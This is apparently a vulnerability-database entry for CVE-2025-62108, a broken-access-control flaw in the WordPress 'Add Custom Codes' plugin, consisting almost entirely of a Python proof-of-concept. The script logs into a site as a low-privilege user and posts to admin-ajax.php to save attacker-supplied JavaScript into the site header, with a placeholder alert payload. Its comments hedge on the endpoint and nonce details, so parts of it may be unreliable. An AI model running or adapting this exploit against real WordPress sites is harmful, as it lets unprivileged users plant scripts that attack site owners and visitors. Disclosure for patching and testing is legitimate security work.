CVE-2025-62108 WordPress Add Custom Codes插件缺失授权漏洞

import requests import sys # CVE-2025-62108 PoC - Broken Access Control in Add Custom Codes Plugin # Target: WordPress site with vulnerable Add Custom Codes plugin <= 4.80 target = "http://target-wordpress-site.com" username = "low_privilege_user" password = "user_password" def exploit_cve_2025_62108(): """ This PoC demonstrates the broken access control vulnerability in Add Custom Codes plugin. The plugin fails to properly check user capabilities before allowing custom code modifications. """ session = requests.Session() # Step 1: Login with low privilege account login_url = f"{target}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return False print("[+] Successfully logged in with low privilege account") # Step 2: Exploit broken access control to add custom code # The plugin's admin-ajax.php or admin-post.php endpoint lacks capability check exploit_url = f"{target}/wp-admin/admin-ajax.php" # Malicious payload - inject arbitrary JavaScript exploit_data = { 'action': 'add_custom_codes_save', 'code_type': 'header', 'custom_code': '<script>alert("XSS via Broken Access Control")</script>', 'nonce': '' # Some versions may not require nonce validation } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit sent - Access control bypass successful") print("[+] Malicious code may have been saved to the site") return True else: print("[-] Exploit failed or access was blocked") return False if __name__ == "__main__": print("CVE-2025-62108 - Add Custom Codes Plugin Broken Access Control") exploit_cve_2025_62108()